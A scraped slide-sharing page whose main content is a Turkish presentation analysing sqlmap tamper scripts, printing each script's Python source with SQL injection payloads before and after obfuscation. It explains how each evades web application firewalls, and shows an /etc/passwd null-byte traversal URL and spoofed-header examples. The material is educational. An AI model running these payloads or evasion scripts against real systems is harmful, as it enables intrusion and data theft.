10. istisna isleme10. istisna isleme
10. istisna islemekarmuhtam
 
Javascript Performance Optimisation
Javascript Performance OptimisationJavascript Performance Optimisation
Javascript Performance Optimisationirfandurmus
 
Ileri seviye javascript by Azer Koculu
Ileri seviye javascript by Azer KoculuIleri seviye javascript by Azer Koculu
Ileri seviye javascript by Azer Koculumustafa sarac
 
Kod Akış Kontrolü - Döngüler, Fonksiyonlar
Kod Akış Kontrolü - Döngüler, FonksiyonlarKod Akış Kontrolü - Döngüler, Fonksiyonlar
Kod Akış Kontrolü - Döngüler, Fonksiyonlarcmkandemir
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Mehmet Ince
 
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14,  Suleyman OzarslanWAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14, Suleyman OzarslanSüleyman Özarslan
 
Symfony2 ve Doctrine ile PostgreSQL'i Kullanarak Performanslı Mimari Oluşturma
Symfony2 ve Doctrine ile PostgreSQL'i Kullanarak Performanslı Mimari OluşturmaSymfony2 ve Doctrine ile PostgreSQL'i Kullanarak Performanslı Mimari Oluşturma
Symfony2 ve Doctrine ile PostgreSQL'i Kullanarak Performanslı Mimari OluşturmaHüseyin Mert
 
ARM Mimarisinde Exploit Geliştirme
ARM Mimarisinde Exploit GeliştirmeARM Mimarisinde Exploit Geliştirme
ARM Mimarisinde Exploit GeliştirmeSignalSEC Ltd.
 
3. aşırı yükleme yaşam alanı - dinamik bellek kullanımı
3. aşırı yükleme   yaşam alanı - dinamik bellek kullanımı3. aşırı yükleme   yaşam alanı - dinamik bellek kullanımı
3. aşırı yükleme yaşam alanı - dinamik bellek kullanımıkarmuhtam
 
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımWeb Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımNur Yesilyurt
 
Oracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 Istanbul
Oracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 IstanbulOracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 Istanbul
Oracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 IstanbulGaranti Teknoloji
 
RPC Zafiyetlerinin Keşfi
RPC Zafiyetlerinin KeşfiRPC Zafiyetlerinin Keşfi
RPC Zafiyetlerinin KeşfiSignalSEC Ltd.
 

Similar to Sqlmap Analiz (20)

W3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – IIW3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – II
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
 
Php ekşin - Temel php i̇şlemleri
Php ekşin - Temel php i̇şlemleriPhp ekşin - Temel php i̇şlemleri
Php ekşin - Temel php i̇şlemleri
 
10. istisna isleme
10. istisna isleme10. istisna isleme
10. istisna isleme
 
Javascript Performance Optimisation
Javascript Performance OptimisationJavascript Performance Optimisation
Javascript Performance Optimisation
 
Ileri seviye javascript by Azer Koculu
Ileri seviye javascript by Azer KoculuIleri seviye javascript by Azer Koculu
Ileri seviye javascript by Azer Koculu
 
Kod Akış Kontrolü - Döngüler, Fonksiyonlar
Kod Akış Kontrolü - Döngüler, FonksiyonlarKod Akış Kontrolü - Döngüler, Fonksiyonlar
Kod Akış Kontrolü - Döngüler, Fonksiyonlar
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1
 
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14,  Suleyman OzarslanWAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
 
Symfony2 ve Doctrine ile PostgreSQL'i Kullanarak Performanslı Mimari Oluşturma
Symfony2 ve Doctrine ile PostgreSQL'i Kullanarak Performanslı Mimari OluşturmaSymfony2 ve Doctrine ile PostgreSQL'i Kullanarak Performanslı Mimari Oluşturma
Symfony2 ve Doctrine ile PostgreSQL'i Kullanarak Performanslı Mimari Oluşturma
 
11 g RAC -ASM
11 g RAC -ASM11 g RAC -ASM
11 g RAC -ASM
 
Php1
Php1Php1
Php1
 
ARM Mimarisinde Exploit Geliştirme
ARM Mimarisinde Exploit GeliştirmeARM Mimarisinde Exploit Geliştirme
ARM Mimarisinde Exploit Geliştirme
 
3. aşırı yükleme yaşam alanı - dinamik bellek kullanımı
3. aşırı yükleme   yaşam alanı - dinamik bellek kullanımı3. aşırı yükleme   yaşam alanı - dinamik bellek kullanımı
3. aşırı yükleme yaşam alanı - dinamik bellek kullanımı
 
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımWeb Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
 
Caffe kılavuzu
Caffe kılavuzuCaffe kılavuzu
Caffe kılavuzu
 
Oracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 Istanbul
Oracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 IstanbulOracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 Istanbul
Oracle Cloud Servisleri Uygulaması- Oracle Cloud Day 2015 Istanbul
 
Docker İle Web Hosting
Docker İle Web HostingDocker İle Web Hosting
Docker İle Web Hosting
 
C programlama
C programlamaC programlama
C programlama
 
RPC Zafiyetlerinin Keşfi
RPC Zafiyetlerinin KeşfiRPC Zafiyetlerinin Keşfi
RPC Zafiyetlerinin Keşfi
 

Sqlmap Analiz

  • 1. SQLMAP Bypass DEŞİFRE 20.08.2014 b3mb4m@gmail.com Fikir görüş öneri için ulaşmanız yeterlidir.
  • 2. KONU BAŞLIKLARI apostrophemask.py apostrophenullencode.py appendnullbyte.py base64encode.py between.py bluecoat.py chardoubleencode.py charencode.py charunicodeencode.py concat2concatws.py equaltolike.py greatest.py halfversionedmorekeywords.py ifnull2ifisnull.py lowercase.py modsecurityversioned.py modsecurityzeroversioned.py multiplespaces.py nonrecursivereplacement.py percentage.py randomcase.py randomcomments.py securesphere.py sp_password.py space2comment.py space2dash.py space2hash.py space2morehash.py space2mssqlblank.py space2mssqlhash.py space2mysqlblank.py space2mysqldash.py space2plus.py space2randomblank.py unionalltounion.py unmagicquotes.py varnish.py versionedkeywords.py versionedmorekeywords.py
  • 3. 1)apostrophemask.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return payload.replace(''', "%EF%BC%87") if payload else payload >>> tamper("1 AND '1'='1") #Bypass edilmemiş haldeki kodumuz bu >>>' 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871 ' #Bypass yapıldıktan sonraki hali Payload satırı ; return payload.replace(''', "%EF%BC%87") if payload else payload Scriptin görevi tırnak olan kısımları alıp yerine %EF%BC%87 payloadını koyarak bypass işlemini gerçekleştirmek. 2)apostrophenullencode.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return payload.replace(''', "%00%27") if payload else payload Adındanda anlaşışdıgı gibi nullencode yani boş veri araya sokuyor burada bahsedilen boşveri %00.Devamında gelen %27 ise ' (tırnak) ifadesi. >>> tamper("1 AND '1'='1") >>>' 1 AND %00%271%00%27=%00%271 ' Payload satırı ; return payload.replace(''', "%00%27") if payload else payload
  • 4. 3)appendnullbyte.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return "%s%%00" % payload if payload else payload Kodlara baktından sonra aklınızda oluşanları az çok tahmin ediyorum onun için geliştiriciler tarafından bırakılan bi notu gösterelim. - Useful to bypass weak web application firewalls when the back-end database management system is Microsoft Access - further uses are also possible. Bir önceki bypass scriptimize benzer ama daha basit bi versiyonu.Peki diyeceksiniz ki bu kadar basit bir payload işe yarar mı ? Kendi referans aldıkları websitesi bu http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection İçine biraz bakalım .. Exploitation: Normal Mode: http://www.example.host/read.pl?page=userphoto.jpg Attacking Mode: http://www.example.host/read.pl?page=../../../../etc/passwd%00jpg Exploitation: Normal Mode: http://www.example.host/mypage.jsp?fn=report.db Attacking Mode: http://www.example.host/mypage.jsp?fn=serverlogs.txt%00.db Bunlara baktıktan sonra kafanıza tam oturmuştur diye tahmin ediyorum.Yani mevcut açık nullbyte'tan sonraki kısımları yok sayıyor bizde bu sayede kodlarımızı rahatça okutabiliyoruz anlamına geliyor.Tabiki basit mi ? basit.Ancak açıgın basit olması tehlike seviyesini azaltmıyor .. Nullbyte hakkında daha fazla bilgi için ; * http://php.net/manual/en/security.filesystem.nullbytes.php * http://en.wikipedia.org/wiki/Null_character * https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_Null_Byte_Injection * http://security.stackexchange.com/questions/48187/null-byte-injection-on-php
  • 5. 4)base64encode.py #!/usr/bin/env python import base64 from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload >>> tamper("1' AND SLEEP(5)#") >>>' MScgQU5EIFNMRUVQKDUpIw== ' Görmüş oldugunuz gibi python kütüphanesinde hazır halde bulunan "base64" modül ile tek satırda bypass işlemini kolaylıkla gerçekleştirebiliyoruz.Ama bundan önce base64 nedir onu açıklıyalım ; Vikipedi Base64 ikili verilerin (İngilizce: binary data) sadece ASCII karakterlerini kullanan ortamlarda iletilmesine ve saklanmasına olanak tanıyan bir kodlama şemasıdır.Kodlama sırasında 3 baytlık veriler 6 bitlik dörtlü gruplara dağıtılırlar. Her bir 6 bitlik grup 0 ile 63 arasında bir sayı oluşturur (26=64). Mesela şöyle diyelim internet ortamında büyük ihtimal görmüssünüzdür."SELECT" yazdıgınızda forbidden ile karşılaşıtıgımız durmunlar olur. Örnekle açıklayalım ; site.com/index.php?id=5+union <-- union yazdıgımız sorun yok . site.com/index.php?id=5+union+select <-- forbidden hatası ile karşılaştık.Base64 encode burada devreye giriyor. site.com/index.php?id=5K3VuaW9uK3NlbGVjdA== bu şekilde bypass edilerek hatayı geçme şansımız doguyor.
  • 6. 5)between.py #!/usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: match = re.search(r"(?i)(b(AND|OR)bs+)(?!.*b(AND|OR)b)([^>]+?)s*>s*([^>]+)s*Z", payload) if match: _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: retVal = re.sub(r"s*>s*(d+|'[^']+'|w+(d+))", " NOT BETWEEN 0 AND g<1>", payload) if retVal == payload: match = re.search(r"(?i)(b(AND|OR)bs+)(?!.*b(AND|OR)b)([^=]+?)s*=s*(w+)s*", payload) if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) return retVal Sadece karışık gözüktügüne emin olabilirsiniz.İşlevi şu şekilde açıklanmış. Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' Replaces equals operator ('=') with 'BETWEEN # AND #' Aslında basit degilmi ? >>> tamper('1 AND A > B--') >>>'1 AND A NOT BETWEEN 0 AND B--' >>> tamper('1 AND A = B--') >>> '1 AND A BETWEEN B AND B--' Bypass çeşitleri oldukça fazla olan sqlmap aslında profesyonel şekilde kullanırsa ne kadar faydalı olabilecegini görüyorsunuz .. Ama tabiki daha yeni başlıyoruz !
  • 7. 6)bluecoat.py #!/usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)s+", r"g<1>%09", payload) retVal = re.sub(r"s*=s*", " LIKE ", retVal) return retVal >>> tamper('SELECT id FROM users where id = 1') >>>'SELECT%09id FROM users where id LIKE 1' Aslında kodlar gördügünüz gibi standart modüller payload çevirisi yapan kodumuz ise en fazla 5-6 satır oluyor. Geliştirici notlarını gene paylaşalım ; Replaces space character after SQL statement with a valid random blank character. Afterwards replace character = with LIKE operator. Aslında bunlar basit bypasslar gibi görünsede hepsi %100 test edilmiştir. Referans olarak ; https://kb.bluecoat.com/index?page=content&id=FAQ2147 Şuana kadar gördügünüz kodları herhangibi bir programlama diline aşinaysanız veya python biliyorsanız biraz dikkat ile hepsini anlayabilirsiniz. bluecoat bypass scritimizin test edildigi ortam ; Tested against: * MySQL 5.1, SGOS Bu kadar bypassı sizin için yapması zamandan tasarruf açısından çok iyi olsada şuanda yaptıgımız gibi içini bilmedigimiz sürece hiçbirşey ögrenemeyiz o yüzden biraz daha dikkatinizi vermenizi istiyorum.Uzun bir yazı dizisi olacak.
  • 8. 7)chardoubleencode.py #!/usr/bin/env python import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += '%%25%s' % payload[i + 1:i + 3] i += 3 else: retVal += '%%25%.2X' % ord(payload[i]) i += 1 return retVal >>> tamper('SELECT FIELD FROM%20TABLE') >>>'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546% 2552%254F%254D%2520%2554%2541%2542%254C%2545' Açıklamayı alalım hemen ; Double url-encodes all characters in a given payload (not processing already encoded) Url encode işlemi ile bypasslamak için yapılmış olan bu script açıklamadada yazdıgı gibi 2 kez üst üste encode işlemi ile bypass işlemini gerçekleştiriyor.Ancak açıklamadaki bu kısmın anlattıgı "not processing already encoded" yani eger ki encode edilmiş ise o kısım birdaha encode edilmez. Bunun içinde biraz karmaşık bir mantıkla kodlanmıştır kodlar.Normalde python hazır modüllerini kullanak bunu yapmak mümkün ; >>> import urllib >>> params= {'q': q.encode('utf-8')} >>> 'http://www.test.com/?'+urllib.urlencode(params) >>> 'http://www.test.com/?q=%C3%A6%C3%B8%C3%A5' Şeklinde yapabiliriz.
  • 9. 8)charencode.py #!/usr/bin/env python import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: retVal += '%%%.2X' % ord(payload[i]) i += 1 return retVal >>> tamper('SELECT FIELD FROM%20TABLE') >>>'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' İlk önce zaten doubleencode scriptimizi görmüştük.Buda charencode yani sadece bir kere encode işlemini yapıyor. Test edilen ortamlar : * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Burada ord ord(payload[i]) üzerinde biraz duralım kafanız karışmış olabilir.Ord'un işlevi string ifadelerin asci karşılıklarını almaktır. >>> string=’Hello World’ >>> list_ascii=[ord(i) for i in string] >>> print list_ascii >>>[72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
  • 10. 9)charunicodeencode.py #!/usr/bin/env python import os import string from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage __priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: retVal += '%%u%.4X' % ord(payload[i]) i += 1 return retVal >>> tamper('SELECT FIELD%20FROM TABLE') >>> '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020% u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' Gerekli sistemler : * ASP * ASP.NET Buradaki kod blogundanda anlayabiliriz : singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) Önceki scriptimiz char ile encode ediyordu.Bu scriptimiz ise char+unicode ile encode ederek bypass işlemini yapıyor. Unicode nedir derseniz --> http://tr.sercanulucan.com/unicode-utf-8-ve-python/ Python & Unicode ilişkisini ayrıntılı bir şekilde anlatan bi arkadaşımız mecvut okumanızı tavsiye ederim.
  • 11. 10)equaltolike.py #!/usr/bin/env python import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) def tamper(payload, **kwargs): def process(match): word = match.group() word = "%sLIKE%s" % (" " if word[0] != " " else "", " " if word[-1] != " " else "") return word retVal = payload if payload: retVal = re.sub(r"s*=s*", lambda match: process(match), retVal) return retVal >>> tamper('SELECT * FROM users WHERE id=1') >>>'SELECT * FROM users WHERE id LIKE 1' Bu sefer basit bir bypass scripti ile karşı karşıyayız. Replaces all occurances of operator equal ('=') with operator 'LIKE' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases Görüldügü gibi = yerine LIKE ile degiştirip bypass işlemini gerçekleştiriyor.
  • 12. 11)greatest.py #!/usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: match = re.search(r"(?i)(b(AND|OR)bs+)(?!.*b(AND|OR)b)([^>]+?)s*>s*([^>]+)s*Z", payload) if match: _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4)) retVal = retVal.replace(match.group(0), _) return retVal >>> tamper('1 AND A > B') >>> '1 AND GREATEST(A,B+1)=A' Geliştiricilerin açıklaması: Replaces greater than operator ('>') with 'GREATEST' counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Gördügünüz gibi her scriptin içinde geliştirici açıklamaları ve test edilme ortamları mevcut.Bu demektir ki hiçbirşey tahmini degerler üzerine gerçekleştirilmiyor.Yani siz ne kadar ararsanız geliştiricilerde bunları o kadar arıyor. * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases
  • 13. 12)concat2concatws.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): if payload: payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") return payload """ Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the CONCAT() function """ >>> tamper('CONCAT(1,2)') >>>'CONCAT_WS(MID(CHAR(0),0,0),1,2)' Kodların işlevini bir bakışta anlamanız çok normal.Çünkü artık olayların mantıgını kavramaya başladınız. Aslında bütün açıklama tek cümle ile verilmiş: Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' Çok zayıf firewall olan sistemler için yapılmış bir bypass scripti.Sadece mysql üzerinde etkili.
  • 14. 13)halfversionedmorekeywords.py #!/usr/bin/env python import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!0%s" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=W|Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") >>>"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*! 0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" Biraz karısık bir bypass gibi görünsede aslında degil.Value degerine takılmanıza gerek yok.Örnek verecek olursam : site.com/index.php?id=5 buradaki " 5 " value degeridir. Scriptte çok fazla regex kullanımı karısık görünsede örnek aslında durumu özetiliyor.Kelimeler üzerinde oynama yapılmıyor bu scriptte. /*!0 her komutun önüne geçerek sql komutlarımızı mevcut hedef üzerinde çalıştırmamıza olanak saglıyor.
  • 15. 14)lowercase.py #!/usr/bin/env python import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group() if word.upper() in kb.keywords: retVal = retVal.replace(word, word.lower()) return retVal >>> tamper('INSERT') >>> 'insert' Biraz şaka gibi gelebilecek bir script .Büyük olan bütün harf&karakter i kücük olan degeriyle degiştiriyor.Şöyle bir açıklama yapayım.Bu örnek ve önceki örnekler üzerinde olmak üzere tamper içinde yazan komutlar sabit olmayabilir.Yani örnekte verildi diye sadece o kelime&karakter&komut 'u bypasslıyor diye düşünmeyelim. Çünkü sql injection tek aşamalı bir işlem degildir.Her farklı istek için komut degişken olacagından örneklere baglı kalmamanız daha iyi olur.
  • 16. 15)varnish.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload Example : >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) >> X-remote-IP: * or %00 or %0A Bu konu "Bypassing web application firewalls using HTTP headers" olarak geçiyor.HTTP headersları kullanarak kodlarını çalıştırmayı deniyor scriptimiz.HTTP headers konusu biraz geniş bir kavram yani sadece sql açıgıyla sınırlı degil.User agenti degiştirilerek yapılan saldırılarda mevcuttur. Yukarıda gördügünüz gibi: GET /app?user='or'1'='1' ;-- HTTP/1.1 <-- GET methodu ile yapılan saldırı. POST / app?user=B3mB4m&password='&nickname=' <-- POST methodu ile yapılan saldırı. Bunları hiç durmadan arttırabiliriz ama bizim konumuz sqlmap bypass umarım anlamıssınızdır.Devam ..
  • 17. 16)ifnull2ifisnull.py def tamper(payload, **kwargs): if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None for i in xrange(index + len("IFNULL("), len(payload)): if depth == 1 and payload[i] == ',': comma = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] __ = payload[comma + 1:end].lstrip() newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: break return payload >>> tamper('IFNULL(1, 2)') >>>'IF(ISNULL(1),2,1)' Aslında kodları örnekler tamamen açıklasada geliştiricilerimizin şu açıklamasına bakalım : *Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'* * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function* Bunlar " Useful to bypass very weak" kısmından anlaşılacagı üzere basit firewallları geçmek için oluşturulmuş scriptler.Ancak burada bypass çeşitliligi çok fazla oldugundan ve python 'un esnekligi ile birleştirdiginde hızlı ve kullanım basitligi kendisini vazgeçilmez bir script yapıyor. Peki neden basit dedim? Aslında şuana kadar görmüş oldugunuz her scriptin işlevi hemen hemen aynı.Bypass edilmemiş kod çalışmaz ise bypass scriptlerini devreye sok ve veriyi çek.
  • 18. 17)modesecurityversioned.py #!/usr/bin/env python from lib.core.common import randomInt from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) return retVal >>> tamper('1 AND 2>1--') >>>'1 /*!30874AND 2>1*/--' Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS Bu bypass firewall çok iyi olmadıgı sürece %60 -70'lere varan başarı saglar. if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) Yukarıdaki kodumuz bütün bypass işlemini gerçekleştiren kısım.Şu şekilde mantıkla ilerliyor eger içinde şu varsa şununla degiştir.Python internet işlemleri çok basit halledildiginden bu basitlikten sonuna kadar faydalanmayı başarmış nadir scriptlerdendir SQLMAP.
  • 19. 18)modesecurtiyzeroversioned.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) return retVal >>> tamper('1 AND 2>1--') >>>'1 /*!00000AND 2>1*/--' Bir önceki bypass scriptimizin farklı bir versiyonu diyebiliriz. if ' ' in payload: retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) Aslında bütün olay son satırda bitiyor. for comment in ('#', '--', '/*'): Bahsettigim içinde şunlar varsa şunu yap mantıgı buradan itibaren başlıyor. "1 AND 2>1--" Gördügünüz gibi " -- " içinde mevcut buna göre script devreye giriyor ve bypass işlemini gerçekleştiriyor.
  • 20. 19)multispaces.py #!/usr/bin/env python import random import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: words = set() for match in re.finditer(r"[A-Za-z_]+", payload): word = match.group() if word.upper() in kb.keywords: words.add(word) for word in words: retVal = re.sub("(?<=W)%s(?=[^A-Za-z_(]|Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal) retVal = re.sub("(?<=W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal) return retVal >>> tamper('1 UNION SELECT foobar') >>>'1 UNION SELECT foobar' Adındanda anlaşıldıgı gibi bypass 'ı boşuklar bırakarak yapmaya çalısıyor. """ Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt #Referans'ı bi okumanızı tavsiye ederim. """
